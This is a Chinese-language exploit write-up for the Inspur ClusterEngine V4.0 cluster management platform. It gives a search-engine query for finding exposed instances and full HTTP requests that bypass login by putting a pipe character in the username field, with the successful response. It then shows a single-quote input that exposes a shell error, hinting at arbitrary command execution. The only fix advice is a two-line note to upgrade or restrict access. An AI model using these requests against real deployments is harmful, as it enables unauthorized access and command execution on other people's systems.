浪潮 ClusterEngineV4.0 任意用户登录+命令执行

概述

浪潮clusterengine v4.0 集群管理平台，可管理集群系统中的软硬件资源和用户提交的作业，根据集群中的资源使用情况来合理的调度用户提交的作业，从而达到提高资源的利用率和作业的执行效率的作用。

在网络空间测绘搜索引擎中搜索关键字：

title="TSCEV4.0"或者"clusterengine v4.0"收集相关资产。

任意用户登录

指定登录过程中的username字段值为"any|pwd"形式即可登录系统：

POST /login HTTP/1.1
Host: xxx
Content-Length: 42
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
​
op=login&username=aa%7Cpwd&password=123123

响应包为如下，即登录成功：

HTTP/1.1 200 
Set-Cookie: username=aa|pwd; Max-Age=604800; Expires=Mon, 19-Apr-2021 14:42:23 GMT; Path=/; HttpOnly
Set-Cookie: userType=users; Max-Age=43200; Expires=Tue, 13-Apr-2021 02:42:23 GMT; Path=/; HttpOnly
Set-Cookie: vertifyUser=true; Max-Age=43200; Expires=Tue, 13-Apr-2021 02:42:23 GMT; Path=/; HttpOnly
Set-Cookie: L_TIMES=1618238543432; Max-Age=604800; Expires=Mon, 19-Apr-2021 14:42:23 GMT; Path=/; HttpOnly
Content-Type: text/json;charset=utf-8
Date: Mon, 12 Apr 2021 14:42:23 GMT
Connection: close
Content-Length: 35
​
{"err":"","exitcode":0,"out":"/\n"}

任意命令执行

对登录请求中的username参数，传入单引号使其报错，响应包中会爆出/bin/sh -c 报错信息，你懂得：

POST /login HTTP/1.1
Host: xxx
Content-Length: 42
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
​
​
op=login&username=aa'&password=123123

报错信息：

HTTP/1.1 200 
Content-Type: text/json;charset=utf-8
Date: Mon, 12 Apr 2021 14:44:13 GMT
Connection: close
Content-Length: 159
​
{"err":"/bin/sh: -c: line 0: unexpected EOF while looking for matching `''\n/bin/sh: -c: line 1: syntax error: unexpected end of file\n","exitcode":1,"out":""}

没搞明白为什么代码这么写。

修复建议

• 升级至最新版本；

• 临时方案可进行访问限制。